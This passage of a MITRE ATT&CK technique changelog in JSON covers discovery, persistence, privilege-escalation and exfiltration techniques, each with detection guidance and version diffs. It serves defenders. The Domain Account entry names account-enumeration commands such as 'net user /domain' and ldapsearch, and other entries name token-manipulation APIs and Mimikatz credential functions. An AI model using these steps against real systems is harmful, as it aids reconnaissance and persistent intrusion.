@c_APT_ure", "Travis Smith, Tripwire", "Robby Winchester, @robwinchester3", "Jared Atkinson, @jaredcatkinson" ], "x_mitre_data_sources": [ "Process: Process Creation", "Process: Process Metadata", "Process: OS API Execution", "User Account: User Account Metadata", "Active Directory: Active Directory Object Modification", "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Windows User Account Control", "System access controls", "File system access controls", "Heuristic Detection", "Host forensic analysis" ], "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.", "x_mitre_effective_permissions": [ "SYSTEM" ], "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "2.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 14:51:49.334000+00:00\", \"old_value\": \"2021-04-24 13:40:52.952000+00:00\"}}}", "previous_version": "2.0", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1026: Privileged Account Management", "T1134: Access Token Manipulation Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Metadata)", "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0009: Process (Process Metadata)", "DS0017: Command (Command Execution)", "DS0026: Active Directory (Active Directory Object Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:06.988000+00:00", "modified": "2021-10-13 14:05:15.038000+00:00", "name": "Account Discovery", "description": "Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1087", "external_id": "T1087" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/575.html", "external_id": "CAPEC-575" }, { "source_name": "Elastic - Koadiac Detection with EQL", "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Daniel Stepanic, Elastic", "Microsoft Threat Intelligence Center (MSTIC)", "Travis Smith, Tripwire" ], "x_mitre_data_sources": [ "User Account: User Account Metadata", "Command: Command Execution", "Process: Process Creation", "File: File Access" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace" ], "x_mitre_version": "2.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-13 14:05:15.038000+00:00\", \"old_value\": \"2021-04-14 12:26:11.595000+00:00\"}}}", "previous_version": "2.3", "changelog_mitigations": { "shared": [ "M1028: Operating System Configuration", "T1087: Account Discovery Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Metadata)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Access)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-21 21:08:26.480000+00:00", "modified": "2021-10-13 14:05:14.784000+00:00", "name": "Domain Account", "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1087/002", "external_id": "T1087.002" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/575.html", "external_id": "CAPEC-575" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-13 14:05:14.784000+00:00\", \"old_value\": \"2020-03-26 13:42:34.402000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,2 +1,3 @@\\n System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n+\\n Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", "previous_version": "1.0", "changelog_mitigations": { "shared": [ "M1028: Operating System Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:12.196000+00:00", "modified": "2021-10-18 18:57:04.505000+00:00", "name": "Account Manipulation", "description": "Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1098", "external_id": "T1098" }, { "source_name": "Microsoft User Modified Event", "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738" }, { "source_name": "Microsoft Security Event 4670", "description": "Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.", "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670" }, { "source_name": "InsiderThreat ChangeNTLM July 2017", "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.", "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM" }, { "source_name": "GitHub Mimikatz Issue 92 June 2017", "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.", "url": "https://github.com/gentilkiwi/mimikatz/issues/92" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", "Praetorian", "Tim MalcomVetter" ], "x_mitre_data_sources": [ "File: File Modification", "Command: Command Execution", "Process: Process Creation", "Group: Group Modification", "User Account: User Account Modification", "Active Directory: Active Directory Object Modification" ], "x_mitre_detection": "Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\n\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows", "Azure AD", "Office 365", "IaaS", "Linux", "macOS", "Google Workspace" ], "x_mitre_version": "2.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 18:57:04.505000+00:00\", \"old_value\": \"2021-04-20 16:21:28.502000+00:00\"}}}", "previous_version": "2.2", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1028: Operating System Configuration", "M1030: Network Segmentation", "M1032: Multi-factor Authentication" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Modification)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Modification)", "DS0026: Active Directory (Active Directory Object Modification)", "DS0036: Group (Group Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:29.458000+00:00", "modified": "2021-08-16 15:23:38.940000+00:00", "name": "Automated Exfiltration", "description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "exfiltration" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1020", "external_id": "T1020" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "ExtraHop" ], "x_mitre_data_sources": [ "Command: Command Execution", "Script: Script Execution", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "File: File Access" ], "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.", "x_mitre_is_subtechnique": false, "x_mitre_network_requirements": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows", "Network" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-16 15:23:38.940000+00:00\", \"old_value\": \"2021-04-22 20:21:10.590000+00:00\"}}}", "previous_version": "1.2", "changelog_mitigations": { "shared": [ "T1020: Automated Exfiltration Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0012: Script (Script Execution)", "DS0017: Command (Command Execution)", "DS0022: File (File Access)", "DS0029: Network Traffic (Network Connection Creation)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-23 17:46:59.535000+00:00", "modified": "2021-10-19 04:03:47.056000+00:00", "name": "Boot or Logon Autostart Execution", "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)\u00a0 These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547", "external_id": "T1547" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/564.html", "external_id": "CAPEC-564" }, { "source_name": "Microsoft Run Key", "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.", "url": "http://msdn.microsoft.com/en-us/library/aa376977" }, { "source_name": "MSDN Authentication Packages", "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx" }, { "source_name": "Microsoft TimeProvider", "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx" }, { "source_name": "Cylance Reg Persistence Sept 2013", "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.", "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order" }, { "source_name": "Linux Kernel Programming", "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf" }, { "source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "File: File Creation", "Windows Registry: Windows Registry Key Creation", "Windows Registry: Windows Registry Key Modification", "File: File Modification", "Command: Command Execution", "Process: Process Creation", "Module: Module Load", "Kernel: Kernel Module Load", "Driver: Driver Load", "Process: OS API Execution" ], "x_mitre_detection": "Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator", "root" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-19 04:03:47.056000+00:00\", \"old_value\": \"2021-04-24 13:50:12.837000+00:00\"}}}", "previous_version": "1.1", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0008: Kernel (Kernel Module Load)", "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)", "DS0027: Driver (Driver Load)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-09 14:38:24.334000+00:00", "modified": "2021-07-26 22:49:23.094000+00:00", "name": "Python", "description": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/006", "external_id": "T1059.006" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation" ], "x_mitre_detection": "Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "SYSTEM", "root" ], "x_mitre_platforms": [ "Linux", "Windows", "macOS" ], "x_mitre_remote_support": false, "x_mitre_system_requirements": [ "Python is installed." ], "x_mitre_version": "1.0", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-26 22:49:23.094000+00:00\", \"old_value\": \"2020-06-23 19:03:15.180000+00:00\"}}}", "previous_version": "1.0", "changelog_mitigations": { "shared": [ "M1033: Limit Software Installation", "M1038: Execution Prevention", "M1047: Audit", "M1049: Antivirus/Antimalware" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-11 18:18:34.279000+00:00", "modified": "2021-10-19 03:18:43.648000+00:00", "name": "Compromise Client Software Binary", "description": "Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1554", "external_id": "T1554" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "CrowdStrike Falcon OverWatch" ], "x_mitre_data_sources": [ "File: File Modification", "File: File Creation", "File: File Deletion", "File: File Metadata" ], "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-19 03:18:43.648000+00:00\", \"old_value\": \"2020-03-27 14:49:58.249000+00:00\"}}}", "previous_version": "1.0", "changelog_mitigations": { "shared": [ "M1045: Code Signing" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0022: File (File Creation)", "DS0022: File (File Deletion)", "DS0022: File (File Metadata)", "DS0022: File (File Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-12-14 16:46:06.044000+00:00", "modified": "2021-08-12 13:04:14.534000+00:00", "name": "Create Account", "description": "Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1136", "external_id": "T1136" }, { "source_name": "Microsoft User Creation Event", "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Microsoft Threat Intelligence Center (MSTIC)", "Praetorian" ], "x_mitre_data_sources": [ "User Account: User Account Creation", "Process: Process Creation", "Command: Command Execution" ], "x_mitre_detection": "Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "Administrator" ], "x_mitre_platforms": [ "Windows", "Azure AD", "Office 365", "IaaS", "Linux", "macOS", "Google Workspace" ], "x_mitre_version": "2.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-12 13:04:14.534000+00:00\", \"old_value\": \"2021-03-16 12:47:00.458000+00:00\"}}}", "previous_version": "2.2", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1028: Operating System Configuration", "M1030: Network Segmentation", "M1032: Multi-factor Authentication", "T1136: Create Account Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Creation)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-10 16:03:18.865000+00:00", "modified": "2021-10-15 07:41:41.496000+00:00", "name": "Create or Modify System Process", "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection). ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1543", "external_id": "T1543" }, { "source_name": "TechNet Services", "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx" }, { "source_name": "AppleDocs Launch Agent Daemons", "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" }, { "source_name": "OSX Malware Detection", "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Service: Service Creation", "Service: Service Modification", "Process: Process Creation", "Process: OS API Execution", "Command: Command Execution", "Windows Registry: Windows Registry Key Creation", "Windows Registry: Windows Registry Key Modification", "File: File Creation", "File: File Modification" ], "x_mitre_detection": "Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows", "macOS", "Linux" ], "x_mitre_version": "1.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 07:41:41.496000+00:00\", \"old_value\": \"2020-10-09 13:46:29.922000+00:00\"}}}", "previous_version": "1.0", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1022: Restrict File and Directory Permissions", "M1033: Limit Software Installation", "M1047: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Creation)", "DS0019: Service (Service Modification)", "DS0022: File (File Creation)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", 